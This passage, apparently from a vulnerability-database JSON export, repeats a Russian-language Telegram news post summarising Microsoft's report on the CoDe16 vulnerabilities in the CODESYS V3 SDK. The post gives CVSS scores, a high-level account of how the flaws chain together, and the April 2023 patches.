\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-26T02:02:23.415105Z"}, {"uuid": "3ba17aee-a85f-42ea-bb10-0bfcbd9ea5e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47391", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-26T02:02:23.456140Z"}, {"uuid": "2f14d84b-412a-4f50-af98-595c985899a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 